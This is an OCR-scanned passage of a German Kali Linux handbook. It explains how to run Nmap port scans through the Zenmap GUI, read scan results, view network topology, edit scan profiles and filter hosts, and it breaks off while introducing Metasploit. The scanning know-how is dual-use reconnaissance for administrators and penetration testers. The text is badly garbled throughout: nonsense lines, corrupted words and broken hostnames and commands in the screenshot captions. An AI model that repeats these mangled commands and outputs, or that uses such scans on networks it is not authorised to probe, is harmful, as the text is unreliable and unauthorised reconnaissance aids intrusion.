B1T 108A scadred parts an lacalaest (127.8.0.1) ars clased
loc mary —ingerzrints match this Fost to cive speci-ic OF details
Network Distance! & heps
NSF: ScripT “ast scanrinag.
Read data tiles tro fdsioIrs . Ssnacesnras
i 31 05 and Sarvize de 1 perfornec. [ease repnrT any incarrect cRsULtS
=== | at http://rmag.orgssukbmits .
Filere Rechier | | Nman dane: 1 TP acdress i1 aost ued seatned -n 2031 secords [+l

Ein erster Scan mit Zenmap. Dem Ergebnis kénnen Sie entnehmen, dassbeim
Scannen der lokalen Kali Linux-Installation alle Ports geschlossen sind.
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Administratoren schwéren bekanntlich auf die Verwendung der Konsole, aber fir
das schnelle und effektive Ausfiihren von Konsolenprogrammen wie Nmap sind
GUIs wie Zenmap eine grofie Hilfe. Gerade auch Einsteiger profitieren von lhnen,
weil die Kommandoeingabe weniger fehleranféllig ist. Zwar deckt Zenmap nicht
die gesamte Funktionalitdt von Nmap ab, aber fur einen schnellen und zuverléssi-
gen Portscan-V organg gibt es kaum eine Alternative.

Der Aufruf von Zenmap kann auf der Konsole mit dem Befehl zenmap oder aber
mit dem Menlbefehl Anwendungen > Kali Linux > Schwachstellenanalyse > Ver-
schiedene Scanner > Zenmap erfolgen.

Zenmap kann nicht nur die Ergebnisse der Portscans ausgeben, sondern bietet
Ihnen Zusammenfassungen zu einem Host oder allen Host, auf denen ein bestimm-
ter Service ausgefihrt wird. Zenmap kann mit den gesammelten Informationen
sogar eine Karte der Netzwerktopologie anlegen. Sie konnen sogar die Ergebnisse
von mehreren Scans kombinieren und diese zusammen darstellen.

Eine weitere Besonderheit hatte ich schon angedeutet: Zenmap kann zwei Scans
miteinander vergleichen und die Unterschiede herausarbeiten. So kénnen Sie bei-
spielsweise zwel Tests mit unterschiedlichen Scan-Optionen fahren und die Ergeb-
nisse miteinander vergleichen. Auf diesem Weg kdnnen Sie einfach neue Hosts
und/oder Services im Netzwerk identifizieren. Auf diesem Weg kénnen Sie auch
Dienste ermitteln, die nicht mehr verfligbar sind, weil sie ausgefallen sind oder
heruntergefahren wurden.

Zenmap speichert die Ergebnisse eines Scan-Vorgangs solange, bis Sie sich dazu
entscheiden, diese zu |6schen oder anderweitig zu verarbeiten. Und: Sie kdnnen
einen Scan so oft Sie wiinschen wiederholen.

Nmap unterstiitzt Hundert Optionen und Parameter, die Sie fur Ihre Scans verwen-
den kénnen. Doch gerade fur Einsteiger ist die Vielzahl irritierend. Die Steuerung
auf der Konsole ist auRerdem fehleranféllig. Zenmap nimmt Ihnen hierbei viel
Arbeit ab, da Sie verschiedene Einstellungen tiber Kontrollkastchen, Eingabefelder
und Auswahlmen( steuern kdnnen.

3.3 Scannen und auswerten

Nach dem Starten der Zenmap ist es einfach, einen ersten Scan durchzufihren.
Zenmap présentiert Ihnen seine eingedeutschte Benutzerschnittstelle. Das verein-
facht die Handhabung zusétzlich. Im Hauptfenster geben Sie in das Eingabefeld
Ziel den Hostnamen oder die IP-Adresse des Zielsystems an. Fir erste Gehversu-
che verwenden Sie den vom Nmap-Team bereitgestel lten Server scanme.nmap.org.
Im Auswahlment Profil bestimmen Sie das Scan-Profil, das die Intensitét und die
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Scan-Variante bestimmt. Standardméidig ist mit Intense Scan ein umfangreicher
Scan-V organg vorgesehen.

Um den eigentlichen Scan zu starten, klicken Sie auf die Schaltflache Scan. In der
Nmap-Ausgabe kénnen Sie anhand der Ausgabe erkennen, welche Informationen
der Port-Scanner einlesen konnte.

In das Ziel-Feld kénnen Sie nicht nur einzelne Ziele, sondern auch mehrere oder
sogar ganze Subnetze eingeben. Wenn Sie mehrere Hosts scannen, geben Sie deren
IP-Adresse oder Hostnamen getrennt durch ein Leerzeichen an. Sie kénnen auch
andere Angaben verwenden. Hier zwei Beispiele:

192.168.2.0/ 24
10.0.0-5.*

Alle durchgefiihrten Scans sind (ber das Auswahlmeni rechts der Zieleingabe
verfligbar.

Zenmap stellt Thnen Uber das Auswahlmenil Profil verschiedene vordefinierte
Scan-Profile zur Verfigung. Zenmap kennt zehn vordefinierte Profile fur unter-
schiedliche Aufgaben. Das Programm erlaubt lhnen tber das Ment Profil das
Anlegen neuer und das Bearbeiten bestehender Profile. Wir kommen spéter darauf
Zu sprechen.

Eine weitere Besonderheit von Zenmap nennt sich Scan Aggregation. Sie kénnen
mit dieser Funktion die Testergebnisse mehrerer Scan-V organge kombinieren. Aus
einer Sammlung an Scans kénnen Sie ein regelrechtes Netzwerkinventar erstellen.

Anhand eines Beispiels wird deutlicher, wie das in der Praxis funktioniert und
welche Vorteile das bringt. Fihren Sie zundchst den Quick Scan an folgendem
Host durch:

scanne. nnap. or g.

Dann fihren Sie das gleiche Scan-Profil gegen localhost aus. Die durchgefihrten
Scan-Konfigurationen sind Uber das Auswahlmenl der Registerkarte Nmap-
Ausgabe verflgbar.

Rechner, deren Betriebssystem Nmap identifizieren kann, erweitert Zenmap in der
Rechnerliste, um ein entsprechendes OS-Icon. Handelt es sich bel dem Ziel um
einen Linux-Rechner, wird dieser mit einem Pinguin gekennzeichnet.

Wenn Sie nun mehr tber scanme.nmap.org erfahren wollen, so fiihren Sie anstelle
der schnellen Scan (Quick scan) einen intensiven (Intense scan) durch. Wenn Sie
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nun eine Nmap-Instanz ausfihren, so stehen Ihnen dabei nicht die Ergebnisse
Zweier Scan-Vorgange an zwei unterschiedlichen Hosts zur Verfligung.

Zenmap sammelt die Ergebnisse und stellt sie Ihnen Uber die Registerkarte Scans
zur Verfigung. Sie kdnnen tbrigens einfach mit der Tastenkombination Strg + N
weitere Zenmap-Fenster 6ffnen und mit diesen unterschiedliche Scans und Ziele
prifen.

Zenmap erzeugt wahrend und nach dem Scan-Vorgang seine Ausgabe, die auf der
Registerkarte Nmap-Ausgabe zu finden ist.

[NmBP-AJSQBbE Ports | Rechner Metzstruktur Rechner-Details  Scans

nmap -T4 -I scanme.nmap.org 2 Details |

Starting Mmap 6.47 ( http://nmap.org ) at 2015-06-30
21:06 CEST

Nmap scan report for scanme.nmap.org (45.33.32,156)
Host is up (0.21s latency).

rONS record for 45,33.32,156:
11982-156.members.linode.com

Not shown: 98 closed por:s

PORT  STATE SERVICE

22/tcp open ssh

80/tcp open http

Nmap done: 1 [P address [1 host up) scainec in 3.08
seconds

Eine typische Scan-Ausgabe.

Bis auf die Syntax-Hervorhebung, die Inhalte farbig absetzt oder fett formatiert,
bietet die Nmap-Ausgabe gegentiber der Konsolenausgabe keinen nennenswerten
Mehrwert. Aber die anderen Registerkarten bieten Ihnen eine Fille von interessan-
ten Informationen, die Sie bei der Interpretation der Ergebnisse unterstiitzen. Ne-
ben der Ausgabe stehen Ihnen vier weitere Register zur Verfligung:

Ports/Rechner
Netzstruktur
Rechner-Details
Scans
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Die Syntaxhervorhebung kann dbrigens in der Zenmap-Konfigurationsdatei zen-
map.conf angepasst werden.

Auf der Registerkarte Nmap-Ausgabe finden Sie rechts neben der Auswahl der
Scan-Vorgange die Schaltflache Details. Dem zugehtrigen Diadlog kdnnen Sie
verschiedenen Informationen Uber den Scan-V organg entnehmen. Neben dem kon-
kreten Befehl und der Nmap-Version kénnen Sie dem Dialog allgemeine Daten
Uber den Zeitpunkt des Scans und den Scan-Typ entnehmen.

zenmap

|~ Befehlsinformation

Befehl: nmap -T4 -F scanme.nmap.org
Nmap-Version: 6.47

Ausfihrlichkeit der Ausgabe: O

Tiefe der Fehlersuche: 0

|~ Allgemeine Infos
Gestartet auf: Juni 30, 2015 - 21:06
Beendet auf: Juni 30, 2015 - 21:06
Erreichbare Rechner: 1
Micht erreichbare Rechner: O
Gescannte Rechner: 1
Geoffnete Ports: 2
Gefilterte Ports: 0

Geschlossene Ports: 98

|~ Scan=Infos = Syn
Scantyp: syn
Protokoll: tcp
# gescannte Ports: 100

<>

Dienste:

Die Details des Scan-Vor gangs.

Welche Informationen auf der Registerkarte Ports/Rechner angezeigt werden, ist
davon abhangig, ob Sie links die Optionen Rechner oder Dienste aktiviert haben.
Wenn Sie die Rechner ausgewahlt haben, werden rechts die verfigbaren Ports auf
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diesem Host angezeigt. In den tabellarischen Ubersichten kénnen Sie brigens
wunderbar die Eintrége mit einem Klick auf die Kopfzeile andern.

Haben Sie Dienste aktiviert, werden unterhalb die verwendeten Dienste aufgefuhrt.
Mit einem Klick auf einen Dienst-Eintrag kdnnen Sie dann rechts die Rechner
einblenden, die einen bestimmten Dienst verwenden.

MNmap Ausgzhe Torts ) ?pr'mp'l Melzsluklul | Rechner Details | Scans

[ [ 3y
Aecnnzrbetraciter | Fischauge | Steasrungen Save Graphic
= Aktion
ale £ 9
’nnalhns'
T s = Interpolation
P T - . I .0
OESL_.LLLI..IJ ile2.288.2.0) Ermmes !50
Olocah::t 127.00.0 ® fnar (0 Kartesisch
% P Layout
Os;sl'l'la.'l'nap.urg {15 33 32 156
I Anslcht
| = |= | -
Flschauge cuf3ing 260 =) o= ©omit AufmerksaTkeitsfaktor !E,DO [« dnd Ausbreitangsfzktor |0.50

Die Darstellung der Netzstruktur.

Ein echtes Highlight von Zenmap ist die visuelle Darstellung der Netzwerkstruk-
tur. Dabei werden die Hosts al's konzentrische Kreise dargestellt, wobel jeder Kreis
einen Netzwerk-Hop, also einen Ubergang zwischen zwei Netzwerken darstellt.
Mit einem Klick auf einen Rechnereintrag zentrieren Sie diesen.

Die Visualisierung der Netzwerkstruktur profitiert dabei von der Verwendung der
Nmap-Option --traceroute. Sie kdnnen damit auch verfolgen, wie der Traffic im
Netzwerk |&uft.

Auf der Registerkarte Details konnen Sie die nach Kategorien sortierten Informa-
tionen Uber ein System abrufen. Die Kategorien:

Rechnerstatus: Hier finden Sie den aktuellen Status (up/down), die An-
zahl der gescannten und der offenen Ports. Zu jedem Rechner wird ein
Icon eingeblendet, das die Verwundbarkeit einschétzt. Diese Einschét-
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zung basiert auf der Anzahl der offenen Ports. Nachstehender Abbildung
kénnen Sie die Symbole und die Anzahl der offenen Ports zusammen:

Symbol ’ Anzahl der offenen Ports ‘
0 bis 2
L
: ﬁ 3 bis 4
5 bis 6
B
7 bis 8
‘ 9 und mehr

Adressen: Hier werden die IPv4-, IPv6 und die MAC-Adressen des
Rechners aufgefihrt.

Rechnernamen: Diesem Bereich kénnen Sie womdglich erkannte Rech-
nernamen entnehmen.

Betriebssystem: Kann Nmap auch das Betriebssystem identifizieren, fin-
den Sie hier auch die Kategorie Betriebssystem, der Sie das verwendete
System sowie weitere | nformationen entnehmen kénnen.

Kommentar e Den Abschluss bilden die Kommentare.

™ Betriebssystem
Hzme: nine- 3.7 215
CenaL et
= Genutzte Forts
Jert-Protckoll-Status: 9350 - tep - ozen
Jert Prozekoll Status: 1 zep zlesed

Pert Praceknll Status: 27476 uep clnsee

= 035 Classes
Tvp Anhistor Betr chasysterfamil = Berishasycsemgensrat on Gensaigkeis
qeretal purnase linay linux X

Die Betriebssystemdetails eines gescannten Rechners.
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Die letzte Registerkarte tragt die Bezeichnung Scans. Hier finden Sie alle durchge-
fuhrten Scans. Sie kénnen bereits gespeicherte Scan-Konfigurationen importieren
und nicht mehr bendtigte I6schen. Aktuell ausgefiihrte Scans kénnen Sie auch
abbrechen.

Rechner Il Dienste
Betriebssystem Rechner
6] Speedport.ip (192.168.2.1)
4))
(s scanme.nmap.org (45.33.32.156)

Die Rechner- und Diensteliste.

Links neben der Nmap-Ausgabe finden Sie die Rechner- und Diensteliste. Mit
einem Klick auf Rechner wird die Liste der gescannten Rechner eingeblendet. In
voranstehender Abbildung sind es gerade einma drei Stiick, doch im Admin-
Alltag werden es schnell Dutzende oder gar Hunderte. Die Darstellung auf der
rechten Registerkarte Ports/Rechner ist mit der Markierung der Dienste bzw.
Rechner verknipft.

Zu Rechnern werden das Betriebssystem und der Rechnernamen sowie die IP-
Adresse angezeigt. Uber die Kopfzeile konnen Sie auch die Sortierung andern.
Abhéngig vom jeweiligen Betriebssystem wird auch hier wieder ein Icon ange-

zeigt:
Symbol Betriebssystem

_g FreeBSD
é Irix
@ Linux
‘ Mac OS X
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Symbol Betriebssystem

OpenBSD

6 Red Hat Linux
lj Solaris or OpenSolaris
[3 Ubuntu Linux
< Windows

lj Anderes

lﬁ Keine OS-Erk__ennung

L durchgefihrt

Auf der Registerkarte Dienste finden Sie die Dienste, deren Ausfiihrung Nmap auf
den Zielsystemen identifiziert hat. Wie wir oben gesehen haben, werden auf der
Registerkarte Scans die durchgefiihrten Scans aufgefihrt. Diese besitzt nach einem
ersten Durchgang den Zusatz Ungespeichert, der in der Spalte Satus gelistet wird.

Das kdnnen Sie dndern, indem Sie Uber das Meniu Scan > Speichere Scan lhre
Untersuchungsergebnisse fir eine spétere Verwendung sichern. Die Daten werden
in einem Nmap-spezifischen XML-Format gespeichert. Nach dem Speichern ver-
schwindet der Zusatz Ungespeichert in der Scan-Ubersicht.

Solange Sie lhre Scans nicht im Nmap-Format sichern, verbleiben diese in der
Zenmap-Datenbank zenmap.db. Dort sind Sie dann auch mit anderen Werkzeugen
wie Datenbank-Viewern einsehbar. Die Eintrége verbleiben standardméidig 60
Tage in der Datenbank bis sie dann geldscht werden. Das kénnen Sie allerdings
auch durch Eingriffe in die Zenmap-Konfigurationsdatei zenmap.conf andern.
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3.4 Netzwerktopologien

Die Registerkarte Netzstruktur stellt Ihnen eine interaktive, animierte Visualisie-
rung der Verbindungen zwischen den Hosts zur Verfiigung. Alle Hosts werden als
Punkt auf dem Kreis dargestellt. Sie kénnen mit gedriickter Maustaste die Position
der Darstellung verschieben. Rechts finden Sie verschiedene Funktionen fir die
Anpassung der Darstellung. Unter Ansicht finden Sie einen Schieberegler, mit dem
Sie die Visualisierung vergrofRern und verkleinern kdnnen.

Mmep Ausgabe  Farcs [ Recaner | Wetzstraktur | Rechrer Details Sczns

-I?ecl"ﬂerbe:rachtel: ! (LRI ;I Stauerunger | Save Graahi.c_
[ Aktion
[> Interpalatian
P Layout
= Anslcht

| aderess e |
.ﬂf:: 202.7.7 3
- ¥ hesrare =

s

V., S azan -
! 57.160.231 162 T
: égchrh.a 41k -1 AR _.
] rngn_!.u.:s.“z
R RITN)
telh

atpldly 158 2 0)

i 's:ann’e."‘\aa arg

Urtere Rirg.icke |10 :,

Fischauge aut Kng I'_.lJU 1%

At Autmerksambe tstsatcr 200 : und Avsoraitungstastos !'_'.'.-J el

Die Ansicht der Netzwer kstruktur.

Wenn Sie sich firr einen speziellen Host interessieren, klicken Sie auf diesen, damit
er ins Zentrum der Darstellung gertickt wird. Die Grafik passt sich automatisch an.
Bei einem erneuten Scan werden neue Hosts und neue Dienste automatisch der
Darstellung hinzugefugt.

Die Nmap-Option --traceroute sorgt dafir, dass die Netzwerkpfade dargestellt
werden konnen. Die Netzwerkstruktur wird beim Zugriff auf die Visualisierung
mit localhost als Mittelpunkt generiert. Im Hintergrund sorgt eine angepasste Ver-
sion des Programms RadialNet von Jodo Paulo S. Medeiros fur die grafische Auf-
bereitung.
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In einer Strukturdarstellung kommen viele Symbole und Farbkonventionen zum
Einsatz. Die sollten Sie kennen, damit Sie die Darstellungen interpretieren kdnnen.

Ein regulérer Host wird in der Visualisierung als kleiner Kreis darstellt. Die Farben
und Kreisgrofie werden durch die Anzahl der offenen Ports eines Hosts bestimmt.
Je mehr offene Ports ein Host aufweist, umso grofRer ist seine Darstellung. Ein
weiller Kreis représentiert einen Host, bei dem kein Portscan erfolgte. Hosts mit
weniger as drei offenen Ports werden griin markiert. Bel Host mit 3 bis 6 offenen
Ports kommt gelb zum Einsatz. Alle jene Hosts, bei denen mehr als sechs offene
Ports gefunden werden, kennzeichnet Zenmap rot.

Agiert ein Host a's Router, Switch oder WLAN-Access Point, so wird er als Quad-
rat dargestellt. Distanzen werden as graue konzentrische Kreise visualisiert. Au-
Berdem symbolisiert jeder Ring einen Netzwerk-Hop.

Die Verbindungen zwischen den Hosts werden als bunte Linien dargestellt. Einfa-
che Traceroute-Verbindungen werden als blaue Linien gekennzeichnet, alternative
Pfade orange. Auch die Dicke der Verbindung gibt Ihnen Aufschluss Uber die
Verbindung: Die Dicke ist proportional zur Round-Trip-Zeit (RTT). Hosts mit
einem hoheren RTT-Wert besitzen eine dickere Linie. Hosts ohne Traceroute-
Informationen werden mit einer schwarz gepunkten Linie miteinander verbunden.
Eine gestrichelte blaue Linie zeigt einen Hop ohne RTT-Wert an.

Hosts mit besonderen Aufgaben werden um ein zusétzliches Symbol erweitert, die
deren Funktion deutlich machen. Das gilt insbesondere fir folgende Netzwerk-
komponenten:

[ - Router

— Switch

— WLAN Access Points

& - Firewall

= - Hosts mit gefilterten Ports

Rechts neben der Visualisierung finden Sie die Funktiondeiste, die lhnen die
Durchfiihrung verschiedener Aktionen und Darstellungsanpassungen erlaubt. Die
Funktionen sind in vier Funktionsgruppen zusammengefasst.

Die erste Gruppe tragt die Bezeichnung Aktion und stellt Thnen vier Funktionen zur
Verfligung. Diese Funktionen werden beim Klicken auf einen Host-Eintrag ausge-
fihrt. Standardmaf3ig ist die links Funktion aktiviert, die die Bezeichnung Change
focus tragt. Sie sorgt dafUir, dass beim Klick auf einen Host-Eintrag die Darstellung
auf diesen neu ausgerichtet wird.
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~ Aktion

a0 + B
~ Interpolation

Frames |EE,

® Polar O Kartesisch
 Layout

Gewichtet o @
I Ansicht

Die Steuerfunktionen fir die Netzstrukturansicht.

Wenn Sie aternativ das Info-Symbol aktivieren, werden die Host-Detailinforma-
tionen eingeblendet, die Ihnen eine Fille an weiteren Host-spezifischen Daten
bieten. Dabei handelt es sich um sogenannte Rechnerbetrachter. Ein Klick auf das
grin hinterlegte Pluszeichen sorgt fur die Gruppierung von Kind-Elementen. Eine
Gruppierung wird durch einen blauen Doppelkreis gekennzeichnet. Mit der letzten
Funktion bestimmen Sie die Farbflllung. Mit den Interpolationseinstellungen be-
stimmen Sie, wie schnell die Animation bei Anderungen der Grafik vorgenommen
wird.

Zenmap weist den Knoten ein automatisches Layout zu. Sie haben mit dem Be-
reich die Wahl zwischen zwei Optionen: Gewichtet und Symmetrisch. Die symmet-
rische Darstellung weist jedem Knoten den gleich grof3en Bereich zu. Die gewich-
tete Variante weist Hosts mit mehr Kind-Elementen mehr Platz auf dem Darstel-
lungsbereich zu. Bei dieser Variante erkennen Sie schneller, ob sich hinter einem
Knoten noch weitere Netzwerksegmente befinden.

Der Bereich Ansicht stellt Thnen umfangreiche Funktionen fur die Anpassung der
Ansicht zur Verfiigung. Uber das Listenfeld kdnnen Sie zunéchst bestimmen, wel-
che Informationen auf der Karte darstellt werden. Sie kdnnen folgende Informatio-
nen ein- und ausblenden:

Adresse

Hostname
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Symbol
Latenz
Ring

Region

Als Néchstes folgt eine rosettendhnliche Form, mit deren Hilfe Sie die Darstellung
verschieben und rotieren kdnnen. Ein Klick auf einen Miniaturkreis verschiebt die
Darstellung. Mit gedriickter Maustaste auf den aufReren Ring, kénnen Sie die ge-
samte Darstellung rotieren. Es folgen zwei Schieberegler, mit denen Sie die Ver-
groRerung und die Ringliicke anpassen kénnen.

Sie kdnnen diese Funktionen Ubrigens einfach ausblenden, indem Sie oberhalb der
Netzstruktur auf die Schaltflache Steuerungen klicken. Rechts finden Sie eine
weitere praktische Funktion. Mit einem Klick auf Save Graphic kdnnen Sie die
Darstellung as Grafikdatei sichern und dann beispielsweise in Berichten weiter
verarbeiten oder an Dritte weitergeben.

localhost (127.0.0.1)
|Olocalhost (127.0.0.1)
[

: [ Allyermein | Dienste Traceroute

~ Allgemeing Informationen

Adresse: [pv] L27.0.0.2 ~ |

Rechnername:  [uscr] .ccalnost b

=~ Betricbssystem

Benutzte Ports: 5397/tcz open | v

[Jje'einstimmung Klasse Fingerabdruck

% h.ame DE-Linie
100 Lpux 3.7 -31=3 0

[* Relhen

Der Rechnerbetrachter bietet zu jedem Host umfangreiche Detailinfos.
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Oberhalb der Grafik finden Sie die Schaltflache Rechnerbetrachter. Dahinter ver-
birgt sich ein weiterer Dialog, der Ihnen zu allen gescannten Hosts mehr oder min-
der viele Detailinformationen liefert. Welche Informationen das im Detail sind, ist

abhéngig davon, was Nmap Uber ein gescanntes System in Erfahrung bringen
kann.

Die Informationen sind auf drel Registerkarten verteilt:

Allgemein: Fihrt die Adresse und den Rechnernamen sowie betriebssys-
temspezifische Informationen auf.

Dienste: Auf dieser Registerkarte werden die Dienste und offene Ports
aufgefihrt.

Traceroute: Fihrt die Ergebnisse des Traceroute-Befehls auf.

Diese Informationen kombiniert mit den Ergebnissen der Sicherheitscans liefern
Ihnen in der Regel bereits ausreichend Informationen Uber potenzielle Angriffs-
punkte.

i Profileditor

i|r‘rrap T4 A \-i .Scan;
| oy
:l Prcfi. | Scan Ping | Scripting  Target | Source | Cther  Timing Life
Description
| Profilinformation
- 1 The dlescriplicn is a Tull
Proflnamz  ntense scan | descripticn of what tme scan
Bescoreiburg Anintense, compretensive scan. The -A optior enables 05 does, which my b .ong.

dezectizn i-O). version detectior (-sV), sc-pz scanning (-
s}, end traceroute (--Traceroute) W thout root privileges
only varsicn datect on and script scanning are run. Ths iz

consideres anialinsive scan

Laschen -_Abbrecher‘ I-:_‘_-'.-’\m:leru'\ger‘ speictern |

Mit dem Profileditor kénnen Sie Scan-Pr ofile einsehen und bear beiten.
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3.5 Der Profileditor

Zu Beginn dieses Kapitels haben Sie die Scan-Profile kennengelernt. Dabei handelt
es sich um vordefinierte Scan-Konfigurationen, die bereits typische Standardauf-
gaben abdecken. Zenmap stellt Ihren Uber das Menti Profil den sogenannten Profil-
editor zur Verfiigung, mit dem Sie die Profile einsehen und bearbeiten sowie neue
anlegen konnen.

Mit dem Menibefehl Profil > Neues Profil oder Befehl legen Sie eine neue Profil-
konfiguration an. Alternativ verwenden Sie die Tastenkombination Strg + P. Der
Profileditor erlaubt auch das Bearbeiten eines ausgewahlten Profils. Am einfach-
sten verwenden Sie hierfir die Tastenkombination Srg + E.

Der Profileditor zeigt im Kopfbereich den editierten Nmap-Befehl an bzw. erlaubt
Ihnen das Anlegen eines eigenen Scan-Befehls. Auf der Registerkarte Profil wei-
sen Sie einer Scan-Konfiguration eine aussagekréftige Bezeichnung zu.

Sehr umfangreich fallen die Anpassungsméglichkeiten auf der Registerkarte Scan
aus. Hier kdnnen Sie optional einen oder mehrere Hosts anlegen sowie verschiede-
ne Scan-Optionen wie die Erkennung des Betriebssystems nutzen.

Auch fir die Ping-Verwendung stehen Ihnen umfangreiche Anpassungs- und Kon-
figurationen zur Verfligung, beispielsweise, ob das Pingen vor dem eigentlichen
Port-Scan erfolgen soll. Zenmap kann bei der Profilbearbeitung auch auf vordefi-
nierte Skript-Parameter und bereits angel egte Skripts zurtickgreifen. Dazu verwen-
den Sie die Funktionen der Registerkarte Scripting.

Mit Hilfe der Registerkarte Target kdnnen Sie gezielt einzelne oder auch mehrere
Hosts vom Port-Scannen ausschliefRen. Sie kdnnen dabei einzelne Hosts in das
Eingabefeld eingeben oder alternativ auch Host-Listen verwenden.

Auf der Registerkarte Source finden Sie nicht minder interessante Funktionen. Hier
koénnen Sie beispielsweise die IP-Adresse des Scanners manipulieren. Wenn Sie
sich auch fir den Verlauf der Daten zwischen Quelle und Zidl interessieren, kén-
nen Sie auf der Registerkarte Other die Traceroute-Option aktivieren.
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Profiladitor

!n"nap -T4 -A -v --traceroute --script ajp-auth 37.202.7.7

Frofii Scan Ping Scripting | Target Source Cther'Timing

Other options

O Extra options defined by user | ]

[] Set IPv4 time to live (ttl) (--tzl)

[ Fragment IP packets (-f)

RS

¥l Veroosity Level (-v) |1

[ Dektugging Level (-d) !0 |

[ Packet trace (--packet-trace)
[J Disable randomizing scannad ports (-r)

| Trace routes to targets (--traceroute)

[ Max Retries (--max-retries) |

Die erweiterten Scan-Optionen.

Wenn Sie intensiven Gebrauch von Nmap machen und viele Hosts priifen wollen,
sind die Einstellungen der Registerkarte Timing fur Sie interessant. Hier kdnnen
Sie beispielsweise die maximale Dauer flr das Scannen eines Hosts anlegen. Fir
die Ausfiihrungsgeschwindigkeit sind aufferdem die Anpassung der Delay-Zeiten
und die parallele Ausfiihrung von Tests relevant.

Das Schone an den Einstellungen des Profileditors: Hinter jeder Option werden die
zugehtrigen Nmp-Parameter aufgefiihrt. Beim Aktivieren einer Option werden
diese Parameter automatisch in der Kopfzeile eingefiigt. So lernen Sie ganz neben-
bei auch noch die zugrundeliegenden Schalter kennen, die der Portscanner bietet.

Wenn Sie bestimme Profile nicht mehr bendtigen, 6ffnen Sie einfach den Bearbei-
tungsdial og und betétigen die Loschen-Schaltflache.
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3.6 Erweiterte Zenmap-Funktionen

Zenmap macht die Steuerung von Nmap dank der Ubersichtlich gestalteten GUI
fast zum Kinderspiel. Neben den Grundfunktionen hat Zenmap einige weitere
interessante Funktionen zu bieten, die man bei Nmap in dieser Form nicht findet.
Diese Funktionen sind insbesondere Uber das Menli Werkzeuge verfligbar.

Sie kdnnen beispielsweise mit dem Menibefehl Werkzeuge > Filtere Rechner
(Strg + L) einen sogenannten Host-Filter verwenden. Dann werden nur die Hosts,
die diesem Filter entsprechen, angezeigt. Der Filter wird unterhalb der Nmap-
Ausgabe eingeblendet.

Eine mdgliche Eingabe ist beispielsweise apache, um die Ausgabe auf rein Apa-
che-spezifische Informationen zu beschrénken. Sie kdnnen auch Domain-Namen
verwenden. Weitere Beispiele fur die Filterung:

service:ftp — Beschrénkt die Ansicht auf FTP-Dienste.
os:linux ssh — Zeigt nur Linux-Hosts an, auf denen SSH ausgefihrt wird.

open: 445 — Beschrankt die Ansicht auf alle Host mit offenem Port 445.

Da die Ergebnisse der Scan-Vorgange sehr umfangreich werden kdnnen, ist die
Suche nach bestimmten Informationen nicht immer einfach. Auch hierfir stellt
Ihnen Zenmap die passende Losung zur Seite: Mit dem Menlbefehl Werkzeuge >
Scan-Ergebnisse suchen (Srg + F) steht Ihnen eine Volltextsuche zur Verfligung.
Mit Hilfe von logischen Ausdriicken kdnnen Sie die Suche auf bestimmte Inhalte
beschrénken oder Daten explizit ausschlief3en.

Ein weiteres Highlight ist der Vergleich der Scan-Ergebnisse. So kénnen Sie bei-
spielweise prufen, wie sich die Ergebnisse zweier intensiver Checks verschiedener
Hosts unterscheiden. Sie kdnnen auch die Ergebnisse eines einfachen und eines
intensiven Scan am gleichen Host miteinander vergleichen. Die Vergleichsfunktion
rufen Sie mit dem Menibefehl Werkzeuge > Ergebnisse vergleichen (Strg + D)
auf.
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Ergebnisse vergleichen

Scan A Scan B
|Intense scan, all  C° ports zuf L|| ot ‘ .Offnenl |IntEn5e scar eu” localhost I M :'ij"fnen:
= Szzn-Ausgabe = Scan-Ausgebs
Starting ‘mac 6.47 ( htzp:// ;‘ Cta~ting Mrap 6.47 | http:// 5‘
mmap.org ) at ZALZ-0C-360 19:13 rmap.zrg ) oat 2015-06-32 11:32
ICES™ ICEST
MNSE: Losdzd 128 sc-ipts for hSZ: _padez 118 scripts for
scan~ing. | scanning.
NEC . Cow-n- Jemcccame:an =] R Y e =

Mmaz 6.4/ scan —~itiated we Jun 34 15:13:25 £01b Ss: nrap o 1 Bbh3z 14 A v L
-Mmaz 6.47 scan - -itiated "ue Jun 33 11:02:%8 2015 =s: ntap -T4 -A -v " ocal host

loceglhest (127.0.6.1):
Host is ap.
-MNot shcown: 55532 clesad corts
-Mnt shrowa: 1060 =" osed ports
PORT STATE SZRVICZ VWZRSION
-9393/tcp opan  UTknown
Q391/tcp open  UTknown
-939 Mt cp open uTkncwn
-05 mete-1s:

i S-F o FlR

' | L2]

IBcHl:I}:n

Der Vergleich zweier Scan-Er gebnisse mit Zenmap.

Die Verwendung ist ansonsten einfach: Im Bereich Scan A suchen Sie den ersten
Scan-, im Bereich Scan B den zweiten Scan-Vorgang. Sie kdnnen zu beiden Scan-
Vorgéngen deren Ausgabe einblenden.

Die Vergleichsfunktion farben den einen Scan rétlich, den anderen grinlich ein.
Insbesondere bei gleichen Zielen kénnen Sie nun sehr schon die unterschiedlichen
Ergebnisse direkt vergleichen.

Sie kénnen die Farbzuweisung und auch andere Einstellungen in der Zenmap-
Konfigurationsdatei zenmap.conf andern.
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4  Schwachstellen prifen

Netzwerke sind von Natur aus fur Angriffe und Attacken anfallig — von innen wie
von auf3en. Die Zahl der potenziellen Angriffspunkte steigt mit jeder neuen Kom-
ponente und je komplexer eine I T-Infrastruktur wird. Eine der zentralen Aufgaben
eines Netzwerkadministrators ist die Optimierung einer Netzwerkumgebung und
hierbei insbesondere die Verbesserung der Netzwerksicherheit. In der Praxis be-
deutet das, dass man potenzielle Sicherheitsliicken identifiziert und im néchsten
Schritt priift, wie schwerwiegend diese tatsachlich sind.

Dabei kommen Penetrationtests zum Einsatz, mit denen man die Empfindlichkeit
des zu testenden Systems gegen derartige Angriffe ermittelt. Ein wesentlicher
Bestandteil von Penetrationtests sind Tools, die helfen, mdglichst alle Angriffs-
muster nachzubilden, die sich aus bekannten Angriffsmethoden ergeben.

Hier kommt Metasploit ins Spiel. Metasploit ist das weltweit am haufigsten einge-
setzte Penetration-Werkzeug, das anfangs als Open Source-Programm startete und
inzwischen von einer aktiven Community und Rapid7, einem amerikanischen
Software-Unternehmen, weiterentwickelt wird.

4.1 Das Grundprinzip

Das Erkennen, Evaluieren und anschliefiende Schlieffen von Sicherheitdiicken in
einer IT-Infrastruktur ist essentiell fur die meisten Unternehmen, Institutionen und
Behdrden. Ein vollstéandiger — und vorzugsweise kontinuierlicher — Sicherheits-
check einer Umgebung erfolgt dabel mehrstufig. Im ersten Schritt geht es darum,
die potenziellen Schwachstellen zu identifizieren. Hier kommen Vulnerability-
Scanner zum Einsatz, die die Zielsysteme auf die Existenz von bekannten Sicher-
heitsllicken prifen.

Sind die Schwachstellen identifiziert, geht es im néchsten Schritt darum, diese mit
einem Exploit-Code zu konfrontieren. Diese Herangehensweise ist durchaus mit
